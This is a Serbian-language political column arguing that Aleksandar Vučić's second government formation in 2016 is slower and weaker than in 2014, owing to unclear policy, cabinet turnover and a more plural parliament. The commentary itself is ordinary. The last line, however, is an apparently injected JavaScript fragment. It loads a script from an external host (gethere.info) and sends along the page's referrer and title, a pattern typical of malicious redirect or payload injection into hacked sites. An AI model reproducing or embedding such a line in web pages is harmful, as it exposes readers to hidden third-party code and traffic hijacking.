SKUPŠTINSKA HRONIKA, PAVIĆEVIĆ: Mandatar Vučić u pat poziciji, medeni mesec je prošao

Dve godine kasnije deluje da su stubovi onoga, što je prethodnog puta makar i načelno, ali i formalno, bilo definisano kao politika modernizacije, istanjeni

Posle izborne pobede 2014. godine predsedniku Srpske napredne stranke, Aleksandru Vučiću, bilo je dovoljno dvanaest dana od početka konstitutivne sednice novog saziva Narodne skupštine da zaokruži proces izbora Vlade Srbije.

Izbori su održani 16. marta 2014. godine, mesec dana kasnije verifikovani su mandati novim narodnim poslanicima, a već 27. aprila predsednik i članovi Vlade položili su zakletvu pred Narodnom skupštinom, nakon što je većina od ukupnog broja narodnih poslanika glasala za njen izbor.

Nakon vanrednih parlamentarnih izbora 2016. godine imamo istog kandidata za predsednika Vlade kao i pre dve godine. Gospodin Vučić je, nakon druge uzastopne (naprednjaci obično dodaju i ubedljive) pobede na izborima, ponovo u prilici da narodnim poslanicima iznese svoj program i predloži sastav Vlade. Uprkos naprednjačkom pevanju o sjajnom uspehu, ovog puta dvanaest dana nije bilo dovoljno ne samo da se izabere Vlada, nego čak ni da se zaokruži proces konstituisanja novog saziva Narodne skupštine.

Teže do vlade nego pre dve godine

Ovogodišnji izbori organizovani su 24. aprila. Tačno na četrdeset dana od izbora, 3. juna, otvorena je prva sednica Narodne skupštine koja ni do danas nije završena budući da nisu razmotrene sve tačke dnevnog reda. Novim poslanicima su verifikovani mandati, izabrana je predsednica Skupštine, izabrani su i potpredsednici, imenovan je generalni sekretar, obrazovane su poslaničke grupe, ali još uvek nisu izabrani članovi radnih tela Narodne skupštine.

Naša skupština je, dakle, mesec i po dana nakon održanih izbora i dalje u procesu konstituisanja. Zašto je Vučiću, uprkos trijumfu na izborima, danas mnogo teže nego pre dve godine?

PROČITAJTE JOŠ:
SKUPŠTINSKA HRONIKA, PAVIĆEVIĆ: Šta kriju a šta otkrivaju dueli Mićunović-Gojković i Šešelj-Martinović?

INTERVJU, BROZ: Skupština je za vreme Tita bila ozbiljna institucija, ovo sada je farsa

Jedno od sredstava pomoću kojeg mandatar stvara legitimacijski osnov svog daljeg delanja je program Vlade. Prilikom izbora Vlade u Skupštini, narodni poslanici glasaju o predsedniku i članovima Vlade, ali i o predstavljenom programu. Vučićev ekspoze pre dve godine bio je ekstenzivan. Iako se jadao kako je predlog programa pisao do ranog jutra na dan kada je bila sazvana sednica na kojoj se raspravljalo o izboru Vlade, bilo je jasno da je za tu raspravu bio spreman mnogo ranije. Načelno, i pokazalo se kasnije ne sasvim iskreno, formalizovao je kao središte svoje politike modernizaciju. “Kašnjenje” sa formiranjem Vlade ove godine nužno je povezati sa politikom koja će da se vodi.

Dve godine kasnije deluje da su stubovi onoga, što je prethodnog puta makar i načelno, ali i formalno bilo definisano kao politika modernizacije, istanjeni. Mislim da Vučiću danas nije jasno šta je za njega pobednička politika isto onoliko koliko mu je 2008. godine, prilikom stvaranja Srpske napredne stranke, bilo jasno šta je dobro da uradi, kako za sebe tako i za svoju državu. Danas je manje odlučan. Medeni mesec je prošao.

Koga za ministre?

Drugi pokazatelj snage nosioca jedne politike čine ljudi koje je izabrao za svoje najbliže saradnike u Vladi. Tu se Vučić u prethodne četiri godine nije proslavio. Vlade u kojima je bio potpredsednik, potom i predsednik su u kadrovskom smislu ličile na vrtešku na kojoj su se svako malo smenjivali neki ljudi. U dve vlade smo, tokom četiri godine naprednjačke vlasti, npr. imali četiri ministra odbrane. Prvo je ministar odbrane bio gospodin Vučić, pa gospodin Rodić, pa gospodin Gašić i na kraju gospodin Đorđević. Slično se vrtelo i u resorima privrede i finansija.

Kadrovska problematika: Aleksandar Vučić FOTO: Tanjug

Iščekujući izbor nove Vlade, sve je izglednije da mandatar Vučić nema rešenja za ministre u pojedinim oblastima. Ako je sumnja opravdana, onda imamo veliki problem. Kada grupa ljudi ili pojedinac dvanaest godina provedu u opoziciji i tih dvanaest godina ne iskoriste da pripreme dobre kandidate za upravljanje ministarstvima, onda pokazuju da su nespremni za vršenje vlasti.

Problem je još i veći kada ista ta grupa ljudi pokazuje nespremnost za vršenje vlasti četiri godine nakon što je vršila vlast. Odsustvo jasnih i odlučnih kadrovskih predloga i to za najvažnije resore nedvosmisleno upućuje na to.

Nakon dva radna dana zasedanja na početku novog saziva jasno je da Aleksandru Vučiću dolasci u Skupštinu neće biti laki kao što su bili relativno laki tokom prošlog saziva. Manje je ruku koje će pljeskati, visoko uzdignute, prilikom svakog njegovog ulaska u skupštinsku salu. Mnogo je više onih poslanika koji će na nagoveštaje naprednjačkog mitingašenja u Domu Narodne skupštine osmišljavati načine da se tome efikasno suprotstave. Biće potrebno mnogo više vremena, strpljenja i borbenosti.

Skupština kao zahtevna ukrštenica

Osnovna razlika između novog i prethodnog saziva može se sažeti u značenju reči pluralnost. Grupica opozicionih poslanika u desetom sazivu je, koliko god su se mnogi među njima trudili da budu borbeni i vredni, delovala nemoćno u odnosu na pešadiju preko puta. U suštini, uvek su mogla da se čuju dva glasa, gde se pokušavalo da onaj drugi, opozicioni, bude što tiši. U velikoj skupštinskoj sali će sada da odzvanjaju različiti glasovi i to verovatno oko svih predloga koje uputi Vlada. Skupština će izgledati kao zahtevna ukrštenica koju niko, pa ni naprednjaci, neće moći do kraja da reše.

Nespremnost da se artikuliše politika i nepripremljenost kadrova jesu Vučićevi veliki problemi. Ali najveći problem sa kojim će se suočiti u novom mandatu jeste izražena pluralnost interesa i politika u Narodnoj skupštini. To je uvek problem čoveka u politici koji se navikao na širenje svoje moći bez posebnih prepreka i granica. I taman kada se ugnezdi u sliku velikog sebe, naiđe na problem koji mu je zbog prirode njegove moći i težnje ka njenom neprestanom širenju nemoguće podneti.

Nova pluralnost u Skupštini je i kazna za Vučića. Zaslužena kazna - zbog toga što su parlamentarni izbori 2016. godine raspisani ne u duhu našeg ustava, zakona i potreba politike, već iz čiste obesti. A taj film smo već gledali.

PROČITAJTE JOŠ:
RIJALITI INTERVJU, RISTIČEVIĆ: Skupština nije Farma, ali nije ni Akademija nauka
INTERVJU, ZUKORLIĆ: Neću da budem ministar kod Vučića, nisam navikao da imam šefa
s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';